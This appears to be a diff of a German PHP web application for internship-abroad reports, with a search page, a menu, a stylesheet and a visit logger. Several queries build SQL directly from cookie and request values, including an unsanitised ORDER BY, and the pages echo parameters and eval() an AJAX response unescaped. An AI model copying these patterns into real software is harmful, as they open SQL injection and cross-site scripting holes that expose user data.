a:hover.sub { font-family:Verdana;font-size:10px;color:#000000;text-decoration:underline; }
</style>
</head>
<body class=\"farbe\" leftmargin=\"2\">
<table border=\"0\" style=\"border-collapse: collapse\" align=\"center\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr height=\"15\">
<td>
<table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" height=\"15\" border=\"0\" id=\"table2\">
<tr>
<td valign=\"top\" align=\"left\" width=\"26\" height=\"30\">
<img src=\"images/sidebox-title-left.gif\"></td>
<td valign=\"center\" align=\"left\" width=\"143\" background=\"images/sidebox-title-bg.gif\" height=\"30\">
<font class=\"option\" color=\"#ffffff\">&nbsp; <b>Menu</b></font></td>
<td valign=\"top\" align=\"left\" width=\"6\" height=\"30\">
<img src=\"images/sidebox-title-right.gif\"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td>
<table cellspacing=\"0\" cellpadding=\"0\" width=\"175\" height=\"100%\" border=\"0\" id=\"table3\">
<tr valign=\"top\">
<td valign=\"bottom\" align=\"left\" width=\"4\" background=\"images/sidebox-bar-left.gif\">&nbsp;
<p><font face=\"Verdana\" style=\"font-size: 8pt\">
<img src=\"images/sidebox-bar-px.gif\"></font></p>
</td>
<td valign=\"top\" align=\"left\" width=\"166\" bgcolor=\"#d6dff7\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"164\" border=\"0\" height=\"100%\" id=\"table4\">
<tr>
<td valign=\"top\"><font face=\"Verdana\"><span style=\"font-size: 8pt\">
<br>
&nbsp;<strong>·</strong>
<a target='kurshaupt' href=\"fragebogen.php\">Fragebogen ausfüllen</a>
<br>
&nbsp;<strong>·</strong>
<a target='kurshaupt' href=\"suche.php\">Suchen nach Berichten</a>
<br>
<br>";
$db = dbconnect();
$query = "SELECT beschreibung, dateiname, target
FROM aesp_admin_rechte a, aesp_admin_rechte_zuord b
WHERE a.aesp_admin_rolle = b.aesp_admin_rolle
AND b.uid = '$uid'
ORDER BY sort_order ASC
";
$result = $db->query($query)
or die ("Cannot execute query");
$ln_zaehler = 0;
while ($row = $result->fetch_array()){
if($ln_zaehler == 0){
echo "<b>Administration</b><br>";
}
echo"
&nbsp;<strong>·</strong>
<a target='$row[target]' href=\"$row[dateiname]\">$row[beschreibung]</a><br>";
$ln_zaehler = 1;
}
echo"
<br>&nbsp;<strong>·</strong>
<a target=\"_top\" href=\"logout.php\">Logout</a><br>
</td>
</tr>
</table>
</td>
</td>
<td valign=\"top\" align=\"left\" width=\"4\" background=\"images/sidebox-bar-right.gif\">
<img src=\"images/sidebox-bar-px.gif\">
</tr>
</table>
</td>
</tr>
<tr>
<td height=\"15\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"175\" height=\"15\" border=\"0\" id=\"table5\">
<tr>
<td valign=\"top\" align=\"left\" width=\"175\" height=\"29\">
<img src=\"images/sidebox-bottom.gif\"> </td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>";
?>

1284
neuanlage.php Executable file

File diff suppressed because it is too large Load Diff

119
styles_pc.css Executable file
View File

@ -0,0 +1,119 @@
font.hd { /* <20>berschrifteinstellungen */
font-family : Verdana,Arial,Helvetica,sans-serif;
font-size : 17px;
font-weight : bold;
color : #002276;
}
.sh { /* Subheader */
font-weight : normal;
font-size : 12px;
color : rgb(101, 101, 101);
font-family : Arial,Helvetica,sans-serif;
}
li { /* Aufz<66>hlungen */
font-weight : normal;
font-size : 12px;
font-family : Arial,Helvetica,sans-serif;
}
.formdesc {
padding-left : 10px;
width : 33%;
color : rgb(255, 255, 255);
background-color : rgb(146, 155, 171);
font-weight : bold;
}
.login {
background-color : #f1f2f6;
}
a {
font-family : verdana, arial;
font-weight : normal;
color : #000066;
}
body {
font-family : verdana, arial;
font-size : 9pt;
color : #000000;
}
td {
font-family : verdana, arial;
font-size : 9pt;
color : #000000;
}
h1 {
font-family : verdana, arial;
font-size : 8pt;
font-weight : bold;
}
.uberschrift {
font-family : verdana, arial;
font-size : 12pt;
font-weight : bold;
color : #006699;
}
.bemerkung {
font-family : verdana, arial;
font-size : 8pt;
font-weight : bold;
color : #FF0000;
text-transform : uppercase; /* Gro<72>buchstaben */
}
.farbe { /* Hintergrundsfarbe im Titel bei Export Word, Aush<73>nge */
background-color : #6487DC;
}
.contentfarbe { /* Hintergrundsfarbe in Tabellen bei Inhalten */
background-color : #DEDEDE;
}
.titel { /* Kopfframe */
font-weight : bold;
text-decoration : none;
font-family : verdana, arial;
font-size : 16pt;
color : #FFFFFF;
}
.footer { /* Fu<46>zeile (Copyright) */
text-decoration : none;
font-family : verdana, arial;
font-size : 8pt;
}
.nav_link { /* Hyperlinks in der Navigation */
text-decoration : none;
font-family : verdana, arial;
font-size : 8pt;
height : 13pt;
}
.nav_head { /* <20>berschriften in der Navigation */
font-weight : bold;
text-decoration : none;
font-family : verdana, arial;
font-size : 9pt;
}

393
suche.php Executable file
View File

@ -0,0 +1,393 @@
<?PHP
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
if ($_COOKIE["uid1"] == ""){ include("kurs/anmeldefehler.php"); exit;} //Wenn man nicht angemeldet ist soll man nichts ausw&auml;hlen k&ouml;nnen
$uid1=$_COOKIE["uid1"];
if (isset($_GET['action']))
$action = $_GET['action'];
else
$action = "";
switch($action){
default:
echo "
<html>
<head>
<title>Suche zum Auslandspraktikum</title>
<style>
<!--
h2
{margin-bottom:.0001pt;
text-align:center;
page-break-after:avoid;
font-size:20.0pt;
font-family:Arial;
margin-left:0cm; margin-right:0cm; margin-top:0cm}
h1
{margin-bottom:.0001pt;
page-break-after:avoid;
font-size:12.0pt;
font-family:Arial;
margin-left:0cm; margin-right:0cm; margin-top:0cm}
select{
width:250px;
}
-->
</style>
<script type='text/javascript' src='ajax.js'></script>
<script type='text/javascript'>
/************************************************************************************************************
Ajax chained select
Copyright (C) 2006 DTHMLGoodies.com, Alf Magne Kalleland
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Dhtmlgoodies.com., hereby disclaims all copyright interest in this script
written by Alf Magne Kalleland.
Alf Magne Kalleland, 2006
Owner of DHTMLgoodies.com
************************************************************************************************************/
var ajax = new sack();
function getCityList(sel)
{
var countryCode = sel.options[sel.selectedIndex].value;
document.getElementById('dhtmlgoodies_city').options.length = 0; // Empty city select box
if(countryCode.length>0){
ajax.requestFile = 'getSubCat_search.php?countryCode='+countryCode; // Specifying which file to get
ajax.onCompletion = createCities; // Specify function that will be executed after file has been found
ajax.runAJAX(); // Execute AJAX function
}
}
function createCities()
{
var obj = document.getElementById('dhtmlgoodies_city');
eval(ajax.response); // Executing the response from Ajax as Javascript code
}
</script>
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
</head>
<body onload=\"if(document.auswert)document.auswert.dhtmlgoodies_country.focus();if(document.auswert)document.auswert.uberschrift.focus();return false;\">
<h2>Suche zum Auslandspraktikum</h2>
<p align='center'>
<img border='0' src='images/aespa_logo.jpg' width='493' height='132' align='center'></p>
<p align='center'>&nbsp;</p>
<form action=";echo $_SERVER['PHP_SELF'] . "?action=auswertung";echo" method=\"POST\" name=\"auswert\">
<div align='center'>
<table border='0' width='40%' id='table2' style='border-collapse: collapse' bgcolor='#EAEAEA'>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px; border-top-style: solid; border-top-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;
</td>
</tr>
<tr>
<td width='30%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Kontinent </td>
<td width='70%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>";
$db = dbconnect();
$query2 = "SELECT distinct a.kid, a.kontinent
FROM aesp_kontinent a, aesp_bewerbung b
WHERE a.kid = b.kontinent
ORDER BY kontinent ASC";
$result2 = $db->query ($query2)
or die ("Cannot execute query");
echo "<select id='dhtmlgoodies_country' name='dhtmlgoodies_country' onchange='getCityList(this)' onfocus='getCityList(this)'>
<option value=''>Select</option>";
echo "<option value='%'";if($row3[kontinent] == '%'){echo " selected";} echo">Alle&nbsp;&nbsp;&nbsp;</option>\n";
while ($row2 = $result2->fetch_array()){
echo "<option value='$row2[kid]'";if($row2[kid] == $row3[kontinent]){echo " selected";} echo">".$row2['kontinent']."&nbsp;&nbsp;&nbsp;</option>\n";
}
echo"
</td>
</tr>
<tr>
<td width='30%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
Land </td>
<td width='70%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
<select id='dhtmlgoodies_city' name='dhtmlgoodies_city'>
</p>
</td>
</tr>
<tr>
<td width='30%' style='border-left-style: solid; border-left-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>
ab Jahrgang
</td>
<td width='70%' style='border-right-style: solid; border-right-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>";
$query2 = "SELECT DATE_Format(zeitraum_von, '%Y') jahrgang
FROM aesp_allgemein
ORDER BY jahrgang ASC
";
$result2 = $db->query ($query2)
or die ("Cannot execute query");
echo "<select size=\"1\" name=\"jahrgang\">";
# echo "<option value='%'";if($row3[kontinent] == '%'){echo " selected";} echo">Alle&nbsp;&nbsp;&nbsp;</option>\n";
while ($row2 = $result2->fetch_array()){
echo "<option value='$row2[jahrgang]'"; if($row3['jahrgang'] == $row2['jahrgang']){echo " selected"; } echo">$row2[jahrgang]</option>\n";
}
echo "</select>
</p>
</td>
</tr>
<tr>
<td colspan='2' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px;>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;
</td>
</tr>
<tr>
<td colspan=2 align='center' style='border-left-style: solid; border-left-width: 2px; border-right-style: solid; border-right-width: 2px''>
<input type=\"submit\" value=\"Suche\" name=\"B1\" size=\"20\"></form>
</td
</tr>
<tr>
<td width='30%' style='border-left-style: solid; border-left-width: 2px; border-bottom-style: solid; border-bottom-width: 2px'>
<p style='margin-left: 3px; margin-right: 3px'>&nbsp;</td>
<td width='70%' style='border-bottom-style: solid; border-bottom-width: 2px; border-right-style:solid; border-right-width:2px'>
<p style='margin-left: 3px; margin-right: 3px'>
&nbsp;</td>
</tr>
</table>
<br>
<br>
<br>
<div align='center'> Es werden nur verfügbare Kontinente / Länder / Jahrgänge angezeigt!</div>
</body>
</html>";
break;
case "auswertung":
if(!isset($_POST['dhtmlgoodies_country'])){
$kontinent=$_GET['kontinent'];
}else{
$kontinent=$_POST['dhtmlgoodies_country'];
}
if(!isset($_POST['dhtmlgoodies_city'])){
$land=$_GET['land'];
}else{
$land=$_POST['dhtmlgoodies_city'];
}
if(!isset($_POST['jahrgang'])){
$jahrgang=$_GET['jahrgang'];
}else{
$jahrgang=$_POST['jahrgang'];
}
$sort = $_GET["sort"];
$option = $_GET["option"];
if($option == 'ASC'){
$option = 'DESC';
}else{
$option = 'ASC';
}
if(!isset($sort)){
$sort = "kontinent";
}
## Anzahl der Treffer ermitteln
$db = dbconnect();
$result_anz = $db->query("SELECT count(*) anz_treffer
FROM aesp_bewerbung a, aesp_allgemein b
WHERE a.uid = b.uid
AND a.kontinent LIKE '$kontinent'
AND a.land LIKE '$land'
AND DATE_Format(zeitraum_von, '%Y') >= '$jahrgang'");
$row_anz = $result_anz->fetch_array();
echo "
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Statistik</title>
<style><!--
.sl,.r{font-weight:normal;margin:0;display:inline}
.r{font-size:1em}
.g{margin-top:1em;margin-bottom:1em}
.a,.a:link{color:green}
body,td,div,.p,a{font-family:arial,sans-serif}
--></style>
</head>
<body>
<table align=\"center\" border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"95%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table valign=\"top\" cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_top.gif\" valign=\"top\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">Suchergebnisse</font><br>
<span class=\"sh\">Treffer: $row_anz[anz_treffer]</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td>
<table valign=\"top\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"border-collapse: collapse\" bordercolor=\"#E7E8ED\" width=\"100%\" id=\"AutoNumber1\">
<tr>
<td>";
if($sort == 'kontinent'){
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=kontinent&option=$option><b>Kontinent</b></a></font>";
}else{
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=kontinent&option=$option>Kontinent</a></font>";
}
echo "
</td>
<td>";
if($sort == 'land'){
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=land&option=$option><b>Land</b></a></font>";
}else{
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=land&option=$option>Land</a></font>";
}
echo "
</td>
<td>";
if($sort == 'stadt'){
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=stadt&option=$option><b>Stadt</b></a></font>";
}else{
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=stadt&option=$option>Stadt</a></font>";
}
echo "
</td>
<td>";
if($sort == 'zeitraum_von'){
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=zeitraum_von&option=$option><b>Zeitraum ab</b></a></font>";
}else{
echo "<font size=\"2\"><a href=$_SERVER[PHP_SELF]?action=auswertung&kontinent=$kontinent&land=$land&jahrgang=$jahrgang&sort=zeitraum_von&option=$option>Zeitraum ab</a></font>";
}
echo "
</td>
<td>
Link
</td>
</tr>
";
$db = dbconnect();
$query = "SELECT a.uid, a.kontinent, a.land, a.stadt, date_format(zeitraum_von, '%d.%m.%Y') datum, zeitraum_von
FROM aesp_bewerbung a, aesp_allgemein b
WHERE a.uid = b.uid
AND a.kontinent LIKE '$kontinent'
AND a.land LIKE '$land'
AND DATE_Format(zeitraum_von, '%Y') >= '$jahrgang'
ORDER BY $sort $option
";
$result = $db->query($query)
or die ("Cannot execute query");
while ($row = $result->fetch_array()){
$result_kont = $db->query("SELECT kontinent
FROM aesp_kontinent
WHERE kid='$row[kontinent]'");
$row_kont = $result_kont->fetch_array();
$result_land = $db->query("SELECT land
FROM aesp_land
WHERE lid='$row[land]'");
$row_land = $result_land->fetch_array();
echo "
<tr>
<td>
$row_kont[kontinent]
</td>
<td>
$row_land[land]
</td>
<td>
$row[stadt]
</td>
<td>
$row[datum]
</td>
<td>
<a href='ansicht.php?uid_user=$row[uid]'>Ansehen</a>
</td>
</tr>
";
}
echo"
</table>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
<p align=\"center\"><a href=\"javascript:history.back()\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a>
</td>
</tr>
</table>
</body>
</html>
";
}
?>

35
topframe.php Executable file
View File

@ -0,0 +1,35 @@
<?php
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
$uid=$_COOKIE["uid1"];
if($uid == "")
{
echo "Bitte melden Sie sich erst am System an!";
exit;
}
$db = dbconnect();
$datum=date("Y-m-d H:i:s");
$ip=getenv("REMOTE_ADDR");
$result_1 = $db->query("INSERT INTO aesp_userlog (Datum, IP, uid) VALUES ('$datum', '$ip', '$uid')");
// Ende Log Datei
echo"
<html>
<head>
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<meta http-equiv=\"Content-Language\" content=\"de\">
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<title>Leitgedanken</title>
<base target=\"Inhalt\">
</head>
<body class=\"farbe\">
<p class=\"titel\"><b>AESPA Online</b></p>
</body>
</html>";
?>